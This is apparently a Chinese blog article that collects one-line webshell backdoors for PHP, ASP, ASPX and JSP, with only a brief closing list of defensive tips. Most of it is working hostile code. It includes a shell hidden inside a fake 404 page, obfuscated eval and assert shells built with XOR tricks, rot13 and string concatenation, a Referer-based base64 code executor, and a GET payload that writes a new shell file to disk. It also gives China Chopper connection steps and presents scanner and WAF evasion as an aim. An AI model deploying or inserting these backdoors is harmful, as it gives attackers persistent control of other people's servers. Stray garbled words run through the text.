強悍的PHP一句話後門
這類後門讓網站、服務器管理員非常頭疼,常常要換着方法進行各類檢測,而不少新出現的編寫技術,用普通的檢測方法是無法發現並處理的。今天咱們細數一些有意思的PHP一句話木馬。php
利用404頁面隱藏PHP小馬:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> </body></html> <?php @preg_replace("/[pageerror]/e",$_POST['error'],"saft"); header('HTTP/1.1 404 Not Found'); ?>
404頁面是網站經常使用的文件,通常建議好後不多有人會去對它進行檢查修改,這時咱們能夠利用這一點進行隱藏後門。html
無特徵隱藏PHP一句話:
<?php session_start(); $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']); $_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
?>
將$_POST['code']的內容賦值給$_SESSION['theCode'],而後執行$_SESSION['theCode'],亮點是沒有特徵碼。用掃描工具來檢查代碼的話,是不會報警的,達到目的了。java
超級隱蔽的PHP後門:
<?php $_GET[a]($_GET[b]);?>
僅用GET函數就構成了木馬;web
利用方法:shell
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
執行後當前目錄生成c.php一句話木馬,當傳參a爲eval時會報錯木馬生成失敗,爲assert時一樣報錯,但會生成木馬,真可謂不可小視,簡簡單單的一句話,被延伸到這般應用。數據庫
層級請求,編碼運行PHP後門:
此方法用兩個文件實現,文件1安全
<?php //1.php header('Content-type:text/html;charset=utf-8'); parse_str($_SERVER['HTTP_REFERER'], $a); if(reset($a) == '10' && count($a) == 9)
{ eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6))))); }
?>
文件2服務器
<?php //2.php header('Content-type:text/html;charset=utf-8'); //要執行的代碼 $code = <<<CODE phpinfo(); CODE; //進行base64編碼 $code = base64_encode($code); //構造referer字符串 $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i="; //後門url $url = 'http://localhost/test1/1.php'; $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_REFERER => $referer ); curl_setopt_array($ch, $options); echo curl_exec($ch);
?>
經過HTTP請求中的HTTP_REFERER來運行通過base64編碼的代碼,來達到後門的效果,通常waf對referer這些檢測要鬆一點,或者沒有檢測。用這個思路bypass waf不錯。網絡
PHP後門生成工具weevely
weevely是一款針對PHP的webshell的自由軟件,可用於模擬一個相似於telnet的鏈接shell,weevely一般用於web程序的漏洞利用,隱藏後門或者使用相似telnet的方式來代替web 頁面式的管理,weevely生成的服務器端php代碼是通過了base64編碼的,因此能夠騙過主流的殺毒軟件和IDS,上傳服務器端代碼後一般能夠經過weevely直接運行。session
weevely所生成的PHP後門所使用的方法是如今比較主流的base64加密結合字符串變形技術,後門中所使用的函數均是經常使用的字符串處理函數,被做爲檢查規則的eval,system等函數都不會直接出如今代碼中,從而能夠導致後門文件繞事後門查找工具的檢查。使用暗組的Web後門查殺工具進行掃描,結果顯示該文件無任何威脅。
以上是大概介紹下邊是截圖,相關使用方法亦家就不在這介紹了,簡單的科普一下。
三個變形的一句話PHP木馬
第一個
<?php ($_=@$_GET[2]).@$_($_POST[1])?>
在菜刀裏寫http://site/1.php?2=assert密碼是1
第二個
<?php $_=""; $_[+""]=''; $_="$_".""; $_=($_[+""]|" ").($_[+""]|"").($_[+""]^" "); ?> <?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
<?php @$_++; $__=("`"^"?").(":"^"}").("%"^"`").("{"^"/"); $___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|"); ${$__}[!$_](${$___}[$_]); ?> 一、「^」爲異或運算符。在PHP中,兩個變量進行異或時,會將字符串轉換成二進制再進行異或,異或完,又將結果從二進制轉換成了字符串。 二、$_++;這行代碼的意思是對變量名爲"_"的變量進行自增操做,在PHP中未定義的變量默認值爲null,null==false==0,能夠在不使用任何數字的狀況下,
經過對未定義變量的自增操做來獲得一個數字。 三、$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/"); ("`"^"?") 01100000^00111111=01011111 —>」_」 (":"^"}") 00111010^01111101=01000111—>」G」 ("%"^"`") 00100101^01100000=01000101—>」E」 ("{"^"/") 01111011^ 00101111=01010100—>」T」 獲得$__=_GET 四、$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|"); ("$"^"{") 00100100^01111011=01011111—>」_」 ("~"^".") 01111110^00101110=01010000—>」P」 ("/"^"`") 00101111^01100000=01001111—>」O」 ("-"^"~") 00101101^01111110=01010011—>」S」 ("("^"|") 00101000^01111100=01010100—>」T」 獲得$___=_POST 五、${$__}[!$_](${$___}[$_]); 獲得$_GET[0]($_POST[1]); 六、構造一句話木馬,將「0」當成參數,賦值爲「assert」 7、使用菜刀工具鏈接,地址 http://ip/b.php?0=assert 密碼爲1
在菜刀裏寫http://site/2.php?_=assert&__=eval($_POST['pass']) 密碼是pass。若是你用菜刀的附加數據的話更隱蔽,或者用其它注射工具也能夠,由於是post提交的。
第三個
($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');
str_rot13(‘riny’)即編碼後的eval,徹底避開了關鍵字,又不失效果,讓人吐血!
最後列幾個高級的PHP一句話木馬後門:
1、 $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; $hh("/[discuz]/e",$_POST['h'],"Access"); //菜刀一句話
2、 $filename=$_GET['xbid']; include ($filename); //危險的include函數,直接編譯任何文件爲php格式運行
3、 $reg="c"."o"."p"."y"; $reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]); //重命名任何文件
4、 $gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; $gzid("/[discuz]/e",$_POST['h'],"Access"); //菜刀一句話
五、include ($uid); //危險的include函數,直接編譯任何文件爲php格式運行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif //gif插一句話
6、典型一句話 程序後門代碼 <?php eval_r($_POST[sb])?> 程序代碼 <?php @eval_r($_POST[sb])?> //容錯代碼 程序代碼 <?php assert($_POST[sb]);?> //使用lanker一句話客戶端的專家模式執行相關的php語句 程序代碼 <?$_POST['sa']($_POST['sb']);?> 程序代碼 <?$_POST['sa']($_POST['sb'],$_POST['sc'])?> 程序代碼 <?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?> //使用這個後,使用菜刀一句話客戶端在配置鏈接的時候在"配置"一欄輸入 程序代碼 <O>h=@eval_r($_POST1);</O> 程序代碼 <script language="php">@eval_r($_POST[sb])</script> //繞過<?限制的一句話
常見的asp一句話後門收集 asp一句話木馬: <%%25Execute(request("a"))%%25> <%Execute(request("a"))%> %><%execute request("a")%><% <script language=VBScript runat=server>execute request("a")</script> <%25Execute(request("a"))%25> %><%execute request("yy")%> <%execute request(char(97))%> <%eval request(char(97))%> ":execute request("value"):a=" <script language=VBScript runat=server>if request(chr(35))<>"""" then ExecuteGlobal request(chr(35)) </script>
在數據庫裏插入的一句話木馬 ┼攠數畣整爠煥敵瑳∨∣┩愾 ┼癥污爠煥敵瑳∨≡┩> 密碼爲: a php一句話 <?php eval($_POST[cmd]);?> <?php system($_REQUEST['cmd']);?> aspx一句話 <script language="C#" runat="server"> WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10"); </script>
JSP一句話後門 <% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>
如何應對PHP一句話後門:
咱們強調幾個關鍵點,看這文章的你相信不是門外漢,我也就不囉嗦了:
1,對PHP程序編寫要有安全意識
2,服務器日誌文件要常常看,常常備份
3,對每一個站點進行嚴格的權限分配
4,對動態文件及目錄常常批量安全審查
5,學會如何進行手工殺毒《即行爲判斷查殺》
6,時刻關注,或滲入活躍的網絡安全營地
7,對服務器環境層級化處理,哪怕一個函數也可作規則